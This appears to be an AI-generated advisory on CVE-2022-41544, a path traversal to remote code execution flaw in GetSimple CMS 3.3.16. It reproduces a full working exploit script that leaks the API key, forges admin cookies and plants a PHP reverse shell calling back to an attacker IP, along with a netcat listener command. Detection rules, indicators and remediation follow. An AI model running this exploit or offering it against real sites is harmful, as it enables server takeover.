CVE-2022-41544

Executive Summary

CVE-2022-41544 is a critical Remote Code Execution (RCE) vulnerability in GetSimple CMS version 3.3.16. The flaw resides in the admin/theme-edit.php file, where the edited_file parameter is not properly sanitized, allowing an authenticated attacker to write arbitrary PHP code to the filesystem. By leveraging a path traversal technique, an attacker can upload a webshell outside the intended theme directory and subsequently execute system commands. The exploit requires authentication, but the default installation exposes an API key via an unprotected XML file (data/other/authorization.xml), which can be used to forge authentication cookies. This vulnerability has a public exploit available on Exploit-DB and is considered unpatched by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation once authenticated, the lack of user interaction, and the full compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a combination of two weaknesses:

1. API Key Leakage: The file data/other/authorization.xml is publicly accessible and contains the API key in plaintext. This key is used to generate authentication cookies via a SHA1 hash of the username and API key.

2. Path Traversal in Theme Editor: The admin/theme-edit.php script accepts an edited_file parameter that is used to specify which theme file to edit. The script does not validate that the file path stays within the intended theme directory. By supplying a value like ../shell.php, an attacker can write arbitrary content to any location under the web root.

The exploit flow:

• The attacker retrieves the API key from data/other/authorization.xml.
• Using the API key and a known username (e.g., "admin"), the attacker computes the authentication cookie.
• The attacker obtains a CSRF token from the theme editor page.
• The attacker sends a POST request to admin/theme-edit.php?updated=true with the edited_file parameter set to ../shell.php and the content parameter containing a PHP reverse shell.
• The shell is written to the web root and can be triggered by visiting /shell.php.

Vulnerable vs. Patched Code

Vulnerable Code (GetSimple CMS 3.3.16): In admin/theme-edit.php, the edited_file parameter is used directly without sanitization:

$file = $_GET['edited_file'] ?? '';
// No path traversal check
$filepath = GSTHEMESPATH . $file;
file_put_contents($filepath, $_POST['content']);

Patched Code (Hypothetical): A secure implementation would validate that the resolved path stays within the allowed theme directory:

$file = basename($_GET['edited_file']); // Strip directory components
$filepath = realpath(GSTHEMESPATH . $file);
if (strpos($filepath, realpath(GSTHEMESPATH)) !== 0) {
    die('Invalid file path');
}
file_put_contents($filepath, $_POST['content']);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running GetSimple CMS 3.3.16
• Network access to the target
• A listener on attacker machine (e.g., nc -lvnp 4444)

Exploit Code (from Exploit-DB):

# Exploit Title: GetSimple CMS v3.3.16 - Remote Code Execution (RCE)
# Data: 18/5/2023
# Exploit Author : Youssef Muhammad
# Vendor: Get-simple
# Software Link:
# Version app: 3.3.16
# Tested on: linux
# CVE: CVE-2022-41544

import sys
import hashlib
import re
import requests
from xml.etree import ElementTree
from threading import Thread
import telnetlib

purple = "\033[0;35m"
reset = "\033[0m"
yellow = "\033[93m"
blue = "\033[34m"
red = "\033[0;31m"

def print_the_banner():
    print(purple + '''
 CCC V     V EEEE      22   000   22   22      4  4  11  5555 4  4 4  4
C    V     V E        2  2 0  00 2  2 2  2     4  4 111  5    4  4 4  4
C     V   V  EEE  ---   2  0 0 0   2    2  --- 4444  11  555  4444 4444
C      V V   E         2   00  0  2    2          4  11     5    4    4
 CCC    V    EEEE     2222  000  2222 2222        4 11l1 555     4    4
 '''+ reset)

def get_version(target, path):
    r = requests.get(f"http://{target}{path}admin/index.php")
    match = re.search("jquery.getsimple.js\?v=(.*)\"", r.text)
    if match:
        version = match.group(1)
        if version <= "3.3.16":
            print( red + f"[+] the version {version} is vulnrable to CVE-2022-41544")
        else:
            print ("This is not vulnrable to this CVE")
        return version
    return None

def api_leak(target, path):
    r = requests.get(f"http://{target}{path}data/other/authorization.xml")
    if r.ok:
        tree = ElementTree.fromstring(r.content)
        apikey = tree[0].text
        print(f"[+] apikey obtained {apikey}")
        return apikey
    return None

def set_cookies(username, version, apikey):
    cookie_name = hashlib.sha1(f"getsimple_cookie_{version.replace('.', '')}{apikey}".encode()).hexdigest()
    cookie_value = hashlib.sha1(f"{username}{apikey}".encode()).hexdigest()
    cookies = f"GS_ADMIN_USERNAME={username};{cookie_name}={cookie_value}"
    headers = {
        'Content-Type':'application/x-www-form-urlencoded',
        'Cookie': cookies
    }
    return headers

def get_csrf_token(target, path, headers):
    r = requests.get(f"http://{target}{path}admin/theme-edit.php", headers=headers)
    m = re.search('nonce" type="hidden" value="(.*)"', r.text)
    if m:
        print("[+] csrf token obtained")
        return m.group(1)
    return None

def upload_shell(target, path, headers, nonce, shell_content):
    upload_url = f"http://{target}{path}admin/theme-edit.php?updated=true"
    payload = {
        'content': shell_content,
        'edited_file': '../shell.php',
        'nonce': nonce,
        'submitsave': 1
    }
    try:
        response = requests.post(upload_url, headers=headers, data=payload)
        if response.status_code == 200:
            print("[+] Shell uploaded successfully!")
        else:
            print("(-) Shell upload failed!")
    except requests.exceptions.RequestException as e:
        print("(-) An error occurred while uploading the shell:", e)
def shell_trigger(target, path):
    url = f"http://{target}{path}/shell.php"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            print("[+] Webshell trigged successfully!")
        else:
            print("(-) Failed to visit the page!")
    except requests.exceptions.RequestException as e:
        print("(-) An error occurred while visiting the page:", e)

def main():
    if len(sys.argv) != 5:
        print("Usage: python3 CVE-2022-41544.py <target> <path> <ip:port> <username>")
        return

    target = sys.argv[1]
    path = sys.argv[2]
    if not path.endswith('/'):
        path += '/'

    ip, port = sys.argv[3].split(':')
    username = sys.argv[4]
    shell_content = f"""<?php
    $ip = '{ip}';
    $port = {port};
    $sock = fsockopen($ip, $port);
    $proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
    """

    version = get_version(target, path)
    if not version:
        print("(-) could not get version")
        return

    apikey = api_leak(target, path)
    if not apikey:
        print("(-) could not get apikey")
        return

    headers = set_cookies(username, version, apikey)

    nonce = get_csrf_token(target, path, headers)
    if not nonce:
        print("(-) could not get nonce")
        return

    upload_shell(target, path, headers, nonce, shell_content)
    shell_trigger(target, path)

if __name__ == '__main__':
    print_the_banner()
    main()

Usage:

python3 CVE-2022-41544.py <target_ip> / 192.168.1.100:4444 admin

• <target_ip>: IP address of the target
• /: Path to the CMS (e.g., / or /getsimple/)
• 192.168.1.100:4444: Attacker IP and port for reverse shell
• admin: Username (default is "admin")

Blue Team

Detection Steps:

1. Monitor for requests to /data/other/authorization.xml from external IPs.
2. Alert on POST requests to /admin/theme-edit.php with edited_file containing ../.
3. Check for unexpected PHP files in the web root (e.g., shell.php).
4. Review web server logs for unusual file writes or access to non-standard paths.

Honeypot Strategy:

• Deploy a fake authorization.xml with a decoy API key to detect reconnaissance.
• Monitor for attempts to write files outside the theme directory.

Indicators of Compromise (IOCs)

• File: /shell.php (or any unexpected PHP file in web root)
• URL Pattern: GET /data/other/authorization.xml
• URL Pattern: POST /admin/theme-edit.php?updated=true with edited_file=../
• Network: Outbound connection from web server to attacker IP on port 4444 (or other)
• Log Entry: "edited_file" => "../shell.php" in access logs

Detection Engineering

YARA Rule

rule CVE_2022_41544_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2022-41544"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "CVE-2022-41544"
    strings:
        $s1 = "fsockopen" ascii
        $s2 = "proc_open" ascii
        $s3 = "/bin/sh" ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2022-41544 - GetSimple CMS RCE via Theme Editor
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2022-41544 via path traversal in theme-edit.php
author: Valters IT
date: 2025-04-16
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/theme-edit.php'
        cs-uri-query|contains: 'edited_file=../'
    condition: selection
falsepositives:
    - Legitimate theme file editing (unlikely with ../)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-41544 - GetSimple CMS RCE Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/theme-edit.php";
    http_uri;
    content:"edited_file=../";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: No official patch exists. Migrate to a supported CMS or apply manual fixes.
2. Restrict Access: Use .htaccess or firewall rules to block access to /data/other/authorization.xml.
3. File Permissions: Ensure the web server user cannot write to the web root. Set theme directory permissions to read-only.
4. Input Validation: Implement server-side validation to prevent path traversal in edited_file.

Long-Term:

• Replace GetSimple CMS with a maintained alternative.
• Implement Web Application Firewall (WAF) rules to block path traversal patterns.
• Conduct regular security audits and penetration testing.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: C56E7856294A6DAD813234D3] */}